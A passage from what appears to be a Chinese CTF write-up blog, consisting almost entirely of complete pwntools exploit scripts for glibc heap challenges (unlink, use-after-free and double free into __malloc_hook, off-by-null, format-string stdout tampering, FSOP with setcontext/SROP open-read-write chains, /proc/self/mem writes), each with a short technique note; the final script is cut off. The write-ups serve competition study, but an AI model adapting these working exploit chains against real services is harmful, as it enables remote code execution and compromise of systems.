79 | payload = orw + str(frame)[len(orw):] |
80 | edit(3,payload) |
81 | free(3) |
82 | break |
83 | except: |
84 | p.close() |
85 | continue |
86 | p.interactive() |
简单mips,和glibc的unlink任意写做法一样
1 | from pwn import* |
2 | def menu(ch): |
3 | p.sendlineafter("options >>",str(ch)) |
4 | def new(size,content): |
5 | menu(1) |
6 | p.sendlineafter('length:',str(size)) |
7 | p.sendafter('info:',content) |
8 | def free(index): |
9 | menu(2) |
10 | p.sendlineafter('user:',str(index)) |
11 | def edit(index,content): |
12 | menu(3) |
13 | p.sendlineafter("edit:",str(index)) |
14 | p.sendafter('info:',content) |
15 | def show(index): |
16 | menu(4) |
17 | p.sendlineafter("show:",str(index)) |
18 | p = process('./run.sh',shell=True) |
19 | p = remote('183.129.189.62',58603) |
20 | free_got = 0x4117B4 |
21 | note_list = 0x411830 |
22 | new(0x80,"UUUU") |
23 | new(0x88,"UUUU") |
24 | new(0x20,"cat flag\n") |
25 | edit(0,p32(0) + p32(0x81) + p32(note_list -12) + p32(note_list -8) + '\x00'*0x70 + p32(0x80) + p32(0x90)) |
26 | free(1) |
27 | edit(0,p64(0) + p32(free_got) + p32(4)) |
28 | show(0) |
29 | p.recvuntil('info: ') |
30 | libc_base = u32(p.recv(4)) - 0x56B68 |
31 | log.info('LIBC:\t' + hex(libc_base)) |
32 | system = libc_base + 0x5F8F0 |
33 | edit(0,p32(system)) |
34 | free(2) |
35 | p.interactive() |
思路和国赛第二天的fmt差不多,主要是利用si进入pritnf函数中,会push一个返回地址进去,这里如果利用printf中的实现函数,格式化字符串漏洞将这个返回地址改成start函数,就能抬栈,然后栈上留下_IO_2_1_stdout_的指针,然后通过栈链将这个地址改到fileno位置,修改stdout结构体中的fileno为2,之后则是拿到libc往malloc_hook中写og,再用printf触发调用malloc_hook
1 | from pwn import* |
2 | #context.log_level = 'DEBUG' |
3 | while True: |
4 | p = process('./main',timeout=0.5) |
5 | #p = remote('183.129.189.62',61405) |
6 | elf =ELF('./main') |
7 | libc =ELF('./libc-2.23.so') |
8 | |
9 | try: |
10 | p.recvuntil('gift : ') |
11 | stack = int(p.recv(14),16) |
12 | |
13 | if stack&0xFFFF > 0x2000: |
14 | p.close |
15 | continue |
16 | log.info('Stack:\t' + hex(stack)) |
17 | p.sendline('\x00'*0x50 + './flag\n') |
18 | p.sendline('%' + str((stack -0xC)&0xFFFF) + 'c%11$hn') |
19 | p.sendline('%1968c%37$hn') |
20 | sleep(0.02) |
21 | def w(off,byte): |
22 | if ord(byte): |
23 | p.sendline('%' + str((stack + off)&0xFFFF) + 'c%10$hn') |
24 | p.sendline('%' + str(ord(byte)) + 'c%36$hhn') |
25 | else: |
26 | p.sendline('%' + str((stack + off)&0xFFFF) + 'c%10$hn') |
27 | p.sendline('%36$hn') |
28 | sleep(0.05) |
29 | #gdb.attach(p,"set *(size_t*)0x7fffffffdf18=0x5555555547B0") |
30 | w(-0x54,'\x90') |
31 | p.sendline('%2c%26$n') |
32 | |
33 | p.sendline('LIBC:%9$pPIE:%8$p\x00') |
34 | p.recvuntil('LIBC:') |
35 | libc_base = int(p.recv(14),16) - 240 -libc.sym['__libc_start_main'] |
36 | log.info('LIBC:\t' + hex(libc_base)) |
37 | |
38 | p.recvuntil('PIE:') |
39 | proc_base = int(p.recv(14,timeout=0.5),16) -0x990 |
40 | log.info('Proc:\t' +hex(proc_base)) |
41 | |
42 | pop_rdi_ret = libc_base + 0x0000000000021112 |
43 | pop_rsi_ret = libc_base + 0x00000000000202F8 |
44 | pop_rdx_ret = libc_base + 0x0000000000001B92 |
45 | Open = libc_base + libc.sym['open'] |
46 | Read = libc_base + libc.sym['read'] |
47 | Puts = libc_base + libc.sym['puts'] |
48 | |
49 | ORW = p64(pop_rdi_ret) + p64(proc_base + 0x201040 + 0x50) + p64(pop_rsi_ret) + p64(0) + p64(Open) |
50 | ORW += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(proc_base + elf.bss() + 0x100) + p64(pop_rdx_ret) + p64(0x30) + p64(Read) |
51 | ORW += p64(pop_rdi_ret) + p64(proc_base + elf.bss() + 0x100) + p64(Puts) |
52 | #for i in range(len(ORW)): |
53 | #w(-0xDC + i,ORW[i]) |
54 | mhook = p64(libc_base + libc.sym['__malloc_hook']) |
55 | rce = p64(libc_base + 0xF1207) |
56 | for i in range(3,-1,-1): |
57 | w(-0xDC + i,mhook[i]) |
58 | sleep(3) |
59 | for i in range(4): |
60 | w(-0xDC,chr(ord(mhook[0]) + i)) |
61 | p.sendline('%' + str(ord(rce[i])) + 'c%9$hhn') |
62 | sleep(0.05) |
63 | p.sendline('%99999c%10$n') |
64 | break |
65 | except: |
66 | p.close() |
67 | continue |
68 | os.system("rm core") |
69 | p.interactive() |
简单的UAF,一个double free 打到malloc_hook,然后realloc修栈
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('choice :',str(ch)) |
5 | def new(size,name,content): |
6 | menu(1) |
7 | p.sendlineafter("game's name:",str(size)) |
8 | p.sendafter("game's name:",name) |
9 | p.sendlineafter("game's message:",content) |
10 | def free(index): |
11 | menu(3) |
12 | p.sendlineafter('index:',str(index)) |
13 | def show(): |
14 | menu(2) |
15 | |
16 | |
17 | p = process('./main') |
18 | #p = remote('183.129.189.60',10029) |
19 | libc = ELF('./libc-2.23.so') |
20 | new(0x100,'FMYY','FMYY') |
21 | new(0x68,'FMYY','FMYY') |
22 | new(0x68,'FMYY','FMYY') |
23 | free(0) |
24 | new(0xD0,'\x78','\x78') |
25 | show() |
26 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 88 - 0x10 |
27 | log.info('LIBC:\t' + hex(libc_base)) |
28 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
29 | rce = libc_base + 0xF1207 |
30 | realloc = libc_base + libc.sym['realloc'] |
31 | free(1) |
32 | free(2) |
33 | free(1) |
34 | new(0x68,p64(malloc_hook - 0x23),'FMYY') |
35 | new(0x68,'FMYY','FMYY') |
36 | new(0x68,'FMYY','FMYY') |
37 | new(0x68,'\x00'*(0x13-8) + p64(rce) + p64(realloc + 4),'FMYY') |
38 | menu(1) |
39 | p.interactive() |
简单的off by null,2.31的,然后有个沙盒,用malloc_hook + IO + SROP的劫持方法做即可 orw flag
1 | from pwn import* |
2 | context.arch = 'AMD64' |
3 | #context.log_level = 'DEBUG' |
4 | def menu(ch): |
5 | p.sendlineafter('Choice:',str(ch)) |
6 | def new(size): |
7 | menu(1) |
8 | p.sendlineafter('Size: ',str(size)) |
9 | def edit(index,content): |
10 | menu(2) |
11 | p.sendlineafter('Index:',str(index)) |
12 | p.sendafter('Content:',content) |
13 | def free(index): |
14 | menu(3) |
15 | p.sendlineafter('Index:',str(index)) |
16 | def show(index): |
17 | menu(4) |
18 | p.sendlineafter('Index:',str(index)) |
19 | p = process('./main') |
20 | p = remote('183.129.189.60',10009) |
21 | libc =ELF('./libc-2.31.so') |
22 | for i in range(4): |
23 | new(0x1000) |
24 | new(0x1000-0x3E0 - 0x50 + 0x10) |
25 | #--large bin |
26 | for i in range(7): |
27 | new(0x28) |
28 | new(0xB20) |
29 | new(0x10) |
30 | |
31 | free(12) |
32 | new(0x1000) |
33 | new(0x28) #14 |
34 | edit(14,p64(0) + p64(0x521) + '\x40') |
35 | #-- |
36 | #-- small bin |
37 | new(0x28) #15 |
38 | new(0x28) #16 |
39 | new(0x28) #17 |
40 | new(0x28) #18 |
41 | |
42 | for i in range(7): #5 - 11 |
43 | free(5+i) |
44 | |
45 | free(17) |
46 | free(15) |
47 | |
48 | for i in range(7): |
49 | new(0x28) |
50 | |
51 | new(0x400) #15 |
52 | |
53 | new(0x28) #17 |
54 | edit(17,p64(0) + '\x20') |
55 | new(0x28) # clear the tcache bin |
56 | #-- |
57 | |
58 | #--fast bin |
59 | for i in range(7): |
60 | free(5 + i) |
61 | free(16) |
62 | free(14) |
63 | for i in range(7): |
64 | new(0x28) |
65 | new(0x28) |
66 | edit(14,'\x20') |
67 | new(0x28) |
68 | #-- |
69 | new(0x28) #20 |
70 | new(0x5F8) |
71 | free(20) |
72 | new(0x28) |
73 | edit(20,'\x00'*0x20 + p64(0x520)) |
74 | free(21) |
75 | new(0x40) |
76 | new(0x40) |
77 | show(16) |
78 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x60 -0x10 - libc.sym['__malloc_hook'] |
79 | log.info('LIBC:\t' + hex(libc_base)) |
80 | free_hook = libc_base + libc.sym['__free_hook'] |
81 | system = libc_base + libc.sym['system'] |
82 | IO_stdin = libc_base + libc.sym['_IO_2_1_stdin_'] |
83 | free(22) |
84 | free(14) |
85 | new(0x28) |
86 | edit(14,p64(0) + p64(0x301)) |
87 | new(0x2F0) |
88 | free(22) |
89 | free(21) |
90 | free(14) |
91 | new(0x28) |
92 | edit(14,'\x00'*0x10 + p64(IO_stdin)) |
93 | ################ |
94 | pop_rdi_ret = libc_base + 0x0000000000026B72 |
95 | pop_rdx_r12 = libc_base + 0x000000000011C1E1 |
96 | pop_rsi_ret = libc_base + 0x0000000000027529 |
97 | pop_rax_ret = libc_base + 0x000000000004A550 |
98 | jmp_rsi = libc_base + 0x00000000001105BD |
99 | |
100 | |
101 | syscall = libc_base + libc.sym['syscall'] |
102 | |
103 | target = libc_base + libc.sym['_IO_2_1_stdin_'] |
104 | address = libc.sym['__free_hook'] + libc_base |
105 | IO_str_jumps = libc_base + 0x1ED560 |
106 | frame_address = target + 0xE0 |
107 | |
108 | Open = libc_base + libc.symbols["open"] |
109 | Read = libc_base + libc.symbols["read"] |
110 | Puts = libc_base + libc.symbols['puts'] |
111 | free_hook = address |
112 | IO = '\x00'*0x28 |
113 | IO += p64(frame_address) |
114 | IO = IO.ljust(0xD8,'\x00') |
115 | IO += p64(IO_str_jumps) |
116 | read = libc_base + libc.sym['read'] |
117 | frame = SigreturnFrame() |
118 | frame.rax = 0 |
119 | frame.rdi = 0 |
120 | frame.rsi = address |
121 | frame.rdx = 0x2000 |
122 | frame.rsp = address |
123 | frame.rip = Read |
124 | |
125 | |
126 | orw = p64(pop_rdi_ret)+p64(free_hook + 0xF8) |
127 | orw += p64(pop_rsi_ret)+p64(0) |
128 | orw += p64(Open) |
129 | orw += p64(pop_rdi_ret) + p64(3) |
130 | orw += p64(pop_rdx_r12) + p64(0x30) + p64(0) |
131 | orw += p64(pop_rsi_ret) + p64(free_hook+0x100) |
132 | orw += p64(Read) |
133 | orw += p64(pop_rdi_ret)+p64(free_hook+0x100) |
134 | orw += p64(Puts) |
135 | orw = orw.ljust(0xF8,'\x00') |
136 | orw += './flag\x00\x00' |
137 | IO += str(frame) |
138 | IO += 'F'*0x18 + p64(libc_base + libc.sym['setcontext'] + 61) |
139 | ############### |
140 | new(0x2F0) |
141 | new(0x2F0) |
142 | log.success('Now') |
143 | edit(22,IO) |
144 | menu(5) |
145 | p.sendlineafter('bye bye!',orw) |
146 | p.interactive() |
也是简单题,需要一个libc地址,释放一个块到fastbin,利用scanf输入数据过多会申请一个large bin chunk,故可以将fastbin中的chunk 放进small bin中,再申请回来拿到libc,一个double free申请过去即可打到malloc_hook
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('choice :',str(ch)) |
5 | def new(size,name,content,sign=1): |
6 | menu(1) |
7 | p.sendlineafter("game's name:",str(size)) |
8 | p.sendafter("game's name:",name) |
9 | if sign: |
10 | p.sendlineafter("game's message:",content) |
11 | else: |
12 | p.sendline(content) |
13 | def free(index): |
14 | menu(2) |
15 | p.sendlineafter('index:',str(index)) |
16 | |
17 | p = process('./main') |
18 | p = remote('183.129.189.60',10031) |
19 | libc =ELF('./libc-2.23.so') |
20 | new(0x28,'FMYY','FMYY') |
21 | new(0x60,'FMYY','FMYY') |
22 | new(0x60,'FMYY','FMYY') |
23 | new(0x60,'FMYY','FMYY') |
24 | free(2) |
25 | menu(1) |
26 | p.sendlineafter("game's name:",'0'*0x500) |
27 | free(0) |
28 | new(0x60,'\xDD\x25','FMYY') |
29 | free(1) |
30 | free(3) |
31 | free(1) |
32 | new(0x60,'\x30','FMYY') |
33 | new(0x60,'FMYY','FMYY') |
34 | new(0x60,'FMYY','FMYY') |
35 | new(0x60,'FMYY','FMYY') |
36 | new(0x60,'\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88','FMYY',sign=0) |
37 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
38 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
39 | realloc = libc_base + libc.sym['realloc'] |
40 | rce = libc_base + 0xF1207 |
41 | free(5) |
42 | free(6) |
43 | free(5) |
44 | new(0x68,p64(malloc_hook - 0x23),'FMYY') |
45 | new(0x68,'FMYY','FMYY') |
46 | new(0x68,'FMYY','FMYY') |
47 | new(0x68,'\x00'*(0x13-8) + p64(rce) + p64(realloc + 4),'FMYY') |
48 | menu(1) |
49 | p.interactive() |
本来不想打GACTF,奈何学长咕咕了,所以呢,起床吃完午饭回来拿了个二血,之后就没去做了
简单的堆溢出,可以通过劫持IO leak stack地址,也可以劫持IO 利用 IO里面的chain指针和 malloc_hook 在exit劫持成SROP
1 | from pwn import* |
2 | context.arch = 'AMD64' |
3 | def menu(ch): |
4 | p.sendlineafter('Choice:',str(ch)) |
5 | def new(size): |
6 | menu(1) |
7 | p.sendlineafter('Size:',str(size)) |
8 | def edit(index,content): |
9 | menu(2) |
10 | p.sendlineafter('Index:',str(index)) |
11 | p.sendafter('Message',content) |
12 | def free(index): |
13 | menu(3) |
14 | p.sendlineafter('Index:',str(index)) |
15 | def E(index,content): |
16 | menu(5) |
17 | p.sendlineafter('Index:',str(index)) |
18 | p.sendafter('Message',content) |
19 | p = process('./main') |
20 | p = remote('119.3.154.59',9777) |
21 | libc = ELF('./libc-2.31.so') |
22 | new(0x30) #0 |
23 | new(0x28) #1 |
24 | new(0xF0) #2 |
25 | new(0xF0) #3 |
26 | new(0xF0) #4 |
27 | new(0xF0) #5 |
28 | new(0x28) #6 |
29 | new(0x28) #7 |
30 | edit(0,'F'*0x28 + p32(0x431)) |
31 | edit(1,'M'*0x28) |
32 | free(2) |
33 | new(0xF0) #2 |
34 | new(0xF0) #8 |
35 | new(0xF0) #9 |
36 | new(0xF0) #10 |
37 | new(0x28) #11 |
38 | |
39 | edit(1,'M'*0x28) |
40 | free(2) |
41 | new(0xF0) #2 |
42 | new(0xF0) #12 |
43 | new(0x1F0) #13 |
44 | new(0x28) #14 |
45 | new(0x1F0) #15 |
46 | for i in range(6): |
47 | new(0xF0) #16 |
48 | for i in range(6): |
49 | free(16 + i) |
50 | free(3) |
51 | edit(8,'F'*0x10) |
52 | free(8) |
53 | E(12,'\xA0\x36') |
54 | new(0xF0) # 3 |
55 | new(0xF0) # 8 stdout |
56 | E(8,p64(0xFBAD1800) + p64(0)*3 + '\x08') |
57 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
58 | log.info('LIBC:\t' + hex(libc_base)) |
59 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
60 | ###########3 |
61 | pop_rdi_ret = libc_base + 0x0000000000026B72 |
62 | pop_rdx_r12 = libc_base + 0x000000000011C1E1 |
63 | pop_rsi_ret = libc_base + 0x0000000000027529 |
64 | pop_rax_ret = libc_base + 0x000000000004A550 |
65 | jmp_rsi = libc_base + 0x00000000001105BD |
66 | |
67 | |
68 | syscall = libc_base + libc.sym['syscall'] |
69 | |
70 | target = libc_base + libc.sym['_IO_2_1_stdin_'] |
71 | address = libc.sym['__free_hook'] + libc_base |
72 | IO_str_jumps = libc_base + 0x1ED560 |
73 | frame_address = target + 0xE0 |
74 | |
75 | Open = libc_base + libc.symbols["open"] |
76 | Read = libc_base + libc.symbols["read"] |
77 | Puts = libc_base + libc.symbols['puts'] |
78 | free_hook = address |
79 | IO = '\x00'*0x28 |
80 | IO += p64(frame_address) |
81 | IO = IO.ljust(0xD8,'\x00') |
82 | IO += p64(IO_str_jumps) |
83 | read = libc_base + libc.sym['read'] |
84 | frame = SigreturnFrame() |
85 | frame.rax = 0 |
86 | frame.rdi = 0 |
87 | frame.rsi = address |
88 | frame.rdx = 0x2000 |
89 | frame.rsp = address |
90 | frame.rip = Read |
91 | |
92 | |
93 | orw = p64(pop_rdi_ret)+p64(free_hook + 0xF8) |
94 | orw += p64(pop_rsi_ret)+p64(0) |
95 | orw += p64(Open) |
96 | orw += p64(pop_rdi_ret) + p64(3) |
97 | orw += p64(pop_rdx_r12) + p64(0x30) + p64(0) |
98 | orw += p64(pop_rsi_ret) + p64(free_hook+0x100) |
99 | orw += p64(Read) |
100 | orw += p64(pop_rdi_ret)+p64(free_hook+0x100) |
101 | orw += p64(Puts) |
102 | orw = orw.ljust(0xF8,'\x00') |
103 | orw += './flag\x00\x00' |
104 | IO += str(frame) |
105 | free(15) |
106 | free(13) |
107 | edit(9,p64(target)) |
108 | new(0x1F8) # 13 |
109 | new(0x1F8) # 15 target |
110 | E(15,IO + 'F'*0x18 + p64(libc_base + libc.sym['setcontext'] + 61)) |
111 | |
112 | p.sendlineafter('Choice:','4') |
113 | p.sendline(orw) |
114 | p.interactive() |
一个师傅问了我几个存在的功能,然后他问我思路,我想了想,想出了这个方法,和官方WP不一样,但是都是打IO,三个多小时就写好exp了,不知道为什么是0解题,我感觉不难啊
1. 只要 read_end和write_ptr相等貌似就能leak出libc,所以一个off by null,多构造几个堆块重叠,然后打global_max_fast 2. 之后free 一个大块两次,分别覆盖_IO_2_1_stdout_中的read_end和write_ptr指针,之后就能leak 出libc 3. 然后此时利用FSOP 2.24之后的方法,劫持buf_base指向main_arena 而main_arena可以利用fastbin的残留信息,通过一个0x100块的double free劫持过去布置SROP
我本地为了环境方便替换libc-2.23.so的版本为最新的那个版本,不知道会不会与原题目太大的差距
1 | from pwn import* |
2 | import os |
3 | context.arch = 'AMD64' |
4 | def menu(ch): |
5 | p.sendlineafter('>>',str(ch)) |
6 | def new(size,content): |
7 | menu(1) |
8 | p.sendlineafter('length?',str(size)) |
9 | p.sendafter('for us:',content) |
10 | def free(index): |
11 | menu(2) |
12 | p.sendlineafter('revoke?',str(index)) |
13 | def edit(index,content): |
14 | menu(3) |
15 | p.sendlineafter('edit?',str(index)) |
16 | p.sendafter('content:',content) |
17 | def F(index): |
18 | p.sendline('2') |
19 | p.sendline(str(index)) |
20 | def N(size,content): |
21 | p.sendline('1') |
22 | p.sendline(str(size)) |
23 | p.send(content) |
24 | def E(index,content): |
25 | p.sendline(str(3)) |
26 | sleep(1) |
27 | p.sendline(str(index)) |
28 | sleep(1) |
29 | p.send(content) |
30 | sleep(1) |
31 | def gift(): |
32 | menu(666) |
33 | |
34 | while True: |
35 | p = process('./main') |
36 | libc = ELF('./libc-2.23.so') |
37 | try: |
38 | new(0x10,'FMYY') |
39 | new(0x10,'FMYY') |
40 | new(0xF0,'FMYY') |
41 | new(0xF0,'FMYY') |
42 | new(0xF0,'FMYY') |
43 | new(0xF0,'FMYY') |
44 | free(2) |
45 | free(0) |
46 | new(0xF8,'\x00'*0xF0 + p64(0x140)) #0 |
47 | free(3) |
48 | new(0x10,'FMYY') #2 |
49 | new(0x10,'FMYY') #3 3 = 1 |
50 | new(0xF0,'FMYY') #6 6 = 0 |
51 | new(0xF0,'FMYY') #7 |
52 | ############# |
53 | free(2) |
54 | free(0) |
55 | new(0xF8,'\x00'*0xF0 + p64(0x140)) #0 |
56 | free(7) |
57 | new(0x10,'FMYY') #2 |
58 | new(0x10,'FMYY') #7 = 3 = 1 |
59 | new(0xF0,'FMYY') #8 = 6 = 0 |
60 | new(0xF0,'FMYY') #9 |
61 | |
62 | ############### |
63 | free(9) |
64 | free(2) |
65 | new(0xF8,'\x00'*0xF0 + p64(0x240)) #2 |
66 | free(4) |
67 | new(0x10,'FMYY') #4 |
68 | new(0x10,'FMYY') #9 = 7 = 3 = 1 |
69 | new(0x19,'FMYY') #10 = 8 = 6 = 0 |
70 | new(0xF0,'FMYY') #11 = 2 |
71 | new(0xF0,'FMYY') #12 |
72 | ############### |
73 | for i in range(0x13): |
74 | new(0xF0,(p64(0) + p64(0x11)) * ( 0xF0 / 0x10)) |
75 | sleep(0.01) |
76 | free(0) |
77 | edit(6,'\x00'*8 + '\xE8\x37') |
78 | new(0xF0,'\x00'*0x10 + p64(0x11)) |
79 | free(1) |
80 | free(4) |
81 | free(3) |
82 | free(0x16) # no.... |
83 | new(0x10,'\x38') |
84 | new(0x10,'FMYY') |
85 | new(0x11,'\x00'*0x10 + '\x21') |
86 | new(4,p32(0x1631)) |
87 | free(6) |
88 | E(0x16,p32(0x1651)) |
89 | F(0) |
90 | libc_base = u64(p.recvuntil('\x7F',timeout=0.5)[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdout_'] - 131 |
91 | log.info('LIBC:\t' + hex(libc_base)) |
92 | binsh = libc_base + libc.search('/bin/sh').next() |
93 | system = libc_base + libc.sym['system'] |
94 | IO_str_jumps = libc_base + 0x3C37A0 |
95 | frame_address = libc_base + libc.sym['__malloc_hook'] + 0x10 |
96 | pop_rdi_ret = libc_base + 0x0000000000021112 |
97 | pop_rsi_ret = libc_base + 0x00000000000202F8 |
98 | pop_rdx_ret = libc_base + 0x0000000000001B92 |
99 | ret = libc_base + 0x0000000000000937 |
100 | syscall = libc_base + 0xF8A95 |
101 | Write = libc_base + libc.sym['write'] |
102 | Read = libc_base + libc.sym['read'] |
103 | Open = libc_base + libc.sym['open'] |
104 | frame = SigreturnFrame() |
105 | frame.rax = 0 |
106 | frame.rdi = 0 |
107 | frame.rsi = frame_address |
108 | frame.rdx = 0x100 |
109 | frame.rsp = frame_address |
110 | frame.rip = syscall |
111 | |
112 | edit(0x16,p32(0x1410)) |
113 | fake_IO_FILE = p64(0)*2 |
114 | fake_IO_FILE += p64(0) + p64(0x100) |
115 | fake_IO_FILE += p64(0) + p64(frame_address) |
116 | fake_IO_FILE = fake_IO_FILE.ljust(0xC8,'\x00') |
117 | fake_IO_FILE += p64(IO_str_jumps -8) |
118 | fake_IO_FILE += p64(0) + p64(libc_base + libc.sym['setcontext'] + 53) |
119 | edit(8,fake_IO_FILE) |
120 | free(10) |
121 | free(1) |
122 | free(3) |
123 | free(4) |
124 | new(0x10,p64(0x101)) |
125 | new(0x10,'FMYY') |
126 | new(0x10,'FMYY') |
127 | free(2) |
128 | free(0x17) |
129 | free(11) |
130 | new(0xF0,p64(libc_base + libc.sym['__malloc_hook'] + 0x10)) |
131 | new(0xF0,'FMYY') |
132 | new(0xF0,'FMYY') |
133 | new(0xF0,str(frame)[0x10:0x100]) |
134 | free(0) |
135 | free(3) |
136 | free_hook = libc_base + libc.sym['__free_hook'] |
137 | orw = p64(pop_rdi_ret) + p64(frame_address + 0x98) |
138 | orw += p64(pop_rsi_ret) + p64(0) |
139 | orw += p64(Open) |
140 | orw += p64(pop_rdi_ret) + p64(3) |
141 | orw += p64(pop_rsi_ret) + p64(free_hook) |
142 | orw += p64(pop_rdx_ret) + p64(0x30) |
143 | orw += p64(Read) |
144 | orw += p64(pop_rdi_ret) + p64(1) |
145 | orw += p64(pop_rsi_ret) + p64(free_hook) |
146 | orw += p64(pop_rdx_ret) + p64(0x30) |
147 | orw += p64(Write) |
148 | orw = orw.ljust(0x90,'\x00') |
149 | orw += './flag\x00\x00' |
150 | sleep(1) |
151 | p.sendline(orw) |
152 | break |
153 | |
154 | except: |
155 | p.close() |
156 | context.log_level = 20 |
157 | continue |
158 | os.system('rm core') |
159 | p.recvuntil('CTF_FLAG') |
160 | log.info('FLAG:\t' + 'CTF_FLAG' + p.recvuntil('}')) |
161 | p.interactive() |
剩下的题看心情复现吧 ^-^ ……
]]>首先申请10次块,那个限制就变成-1了,之后几乎没有什么限制了,可以看作普通的UAF的glibc 2.27的题
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('Your choice :',str(ch)) |
5 | def new(index,size,content): |
6 | menu(1) |
7 | p.sendlineafter('id:',str(index)) |
8 | p.sendlineafter('size:',str(size)) |
9 | p.sendafter('content:',content) |
10 | def edit(index,content): |
11 | menu(2) |
12 | p.sendlineafter('id:',str(index)) |
13 | p.sendafter('content:',content) |
14 | def free(index): |
15 | menu(3) |
16 | p.sendlineafter('id:',str(index)) |
17 | def show(index): |
18 | menu(4) |
19 | p = process('./main') |
20 | p = remote('122.112.225.164',10001) |
21 | libc =ELF('./libc-2.27.so') |
22 | for i in range(10): |
23 | new(i,0xF0,'FMYY') |
24 | for i in range(8): |
25 | free(0) |
26 | edit(0,'\x60\xF7') |
27 | new(10,0xF0,'FMYY') |
28 | new(11,0xF0,p64(0xFBAD1800) + '\x00'*0x18 + '\xC8') |
29 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
30 | log.info('LIBC:\t' + hex(libc_base)) |
31 | free_hook = libc_base + libc.sym['__free_hook'] |
32 | system = libc_base + libc.sym['system'] |
33 | edit(0,p64(0)*2) |
34 | free(0) |
35 | edit(0,p64(free_hook)) |
36 | new(14,0xF0,'/bin/sh\x00') |
37 | new(15,0xF0,p64(system)) |
38 | free(14) |
39 | p.interactive() |
add块的时候,有index的负数溢出,用堆块的指针把前面某个块的size覆盖,然后edit 这个size被覆盖的块,就能形成堆溢出,而覆盖会检测覆盖的位置是否为0,所以这个size被覆盖的块申请时size需要为0
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('Your choice: ',str(ch)) |
5 | def new(index,size): |
6 | menu(1) |
7 | p.sendlineafter('Index: ',str(index)) |
8 | p.sendlineafter('Size: ',str(size)) |
9 | def edit(index,content): |
10 | menu(2) |
11 | p.sendlineafter('Index: ',str(index)) |
12 | p.send(content) |
13 | def show(index): |
14 | menu(3) |
15 | p.sendlineafter('Index: ',str(index)) |
16 | def free(index): |
17 | menu(4) |
18 | p.sendlineafter('Index: ',str(index)) |
19 | |
20 | p = process('./main') |
21 | p = remote('122.112.212.41',6666) |
22 | libc = ELF('./libc-2.27.so') |
23 | for i in range(8): |
24 | new(i,0xF8) |
25 | for i in range(8): |
26 | free(7 - i) |
27 | for i in range(7): |
28 | new(i + 1,0xF8) |
29 | new(0,0x78) |
30 | show(0) |
31 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x10 - libc.sym['__malloc_hook'] - 336 |
32 | log.info('LIBC:\t' + hex(libc_base)) |
33 | free_hook = libc_base + libc.sym['__free_hook'] |
34 | system = libc_base + libc.sym['system'] |
35 | new(8,0x78) |
36 | new(14,0) |
37 | new(15,0) |
38 | free(15) |
39 | new(-2,0x1FF) |
40 | edit(14,'\x00'*0x18 + p64(0x21) + p64(free_hook) + '\n') |
41 | new(15,0x10) |
42 | edit(15,'/bin/sh\x00\n') |
43 | new(13,0x10) |
44 | edit(13,p64(system) + '\n') |
45 | free(15) |
46 | p.interactive() |
和攻防世界的house of grey差不多,但是这个要简单许多,首先从 /proc/self/maps获取libc_base,然后打开/proc/self/mem,属性为1,lseek修改位置为free_hook,然后case 5往free_hook中写入rce即可
1 | from pwn import* |
2 | p = process('./main') |
3 | libc = ELF('./libc-2.27.so') |
4 | p = remote('119.3.111.133',6666) |
5 | context.log_level = 'DEBUG' |
6 | context.arch = 'AMD64' |
7 | def menu(ch): |
8 | p.sendlineafter('Your choice:',str(ch)) |
9 | def O(name,sign): |
10 | menu(1) |
11 | p.sendlineafter('Filename:',name) |
12 | p.sendlineafter('Option:',str(sign)) |
13 | def C(): |
14 | menu(2) |
15 | def L(off): |
16 | menu(3) |
17 | p.sendlineafter('Offset: ',str(off)) |
18 | def R(size): |
19 | menu(4) |
20 | p.sendlineafter('Size: ',str(size)) |
21 | def W(size,content): |
22 | menu(5) |
23 | p.sendlineafter('Size: ',str(size)) |
24 | p.sendafter('Content: ',content) |
25 | O('/proc/self/maps\x00',0) |
26 | |
27 | R(0x800) |
28 | p.recvuntil('Content: ') |
29 | proc_base = int(p.recv(12),16) |
30 | p.recvuntil('7f') |
31 | libc_base = int(('7F' + p.recv(10)),16) |
32 | log.info('LIBC:\t' + hex(libc_base)) |
33 | log.info('Proc:\t' + hex(proc_base)) |
34 | free_hook =libc_base + libc.sym['__free_hook'] |
35 | rce = libc_base + 0x4F3C2 |
36 | C() |
37 | O('/proc/self/mem\x00',1) |
38 | L(free_hook) |
39 | W(0x30,p64(rce)) |
40 | p.interactive() |
感觉我是非预期了,那个2333的选项应该是个后门函数,然而没用到,edit 存在单字节溢出,可以形成 overlap,unsorted bin中存在两个块就能leak libc和heap,然后double free劫持IO_list_all的指针,指向heap上2.24之后FSOP方法,buf base作为rdi,所以布局一下就能利用 setcontext+53 进行沙盒orw了
1 | from pwn import* |
2 | #context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('Choice >>',str(ch)) |
5 | def new(tp,size,content): |
6 | menu(1) |
7 | p.sendlineafter('type:',str(tp)) |
8 | p.sendlineafter('size',str(size)) |
9 | ''' |
10 | big : 0x400 ~ |
11 | medium: 0x200 ~ 0x400 |
12 | small : 0 ~ 0x200 |
13 | ptr[0] = p |
14 | ptr[1] = type |
15 | ptr[2] = size | 1 |
16 | ptr[3] = (2 || 4 || 8)*size |
17 | ''' |
18 | p.sendafter('content: ',content) |
19 | def free(index): |
20 | menu(2) |
21 | p.sendlineafter('index: ',str(index)) |
22 | def show(index): |
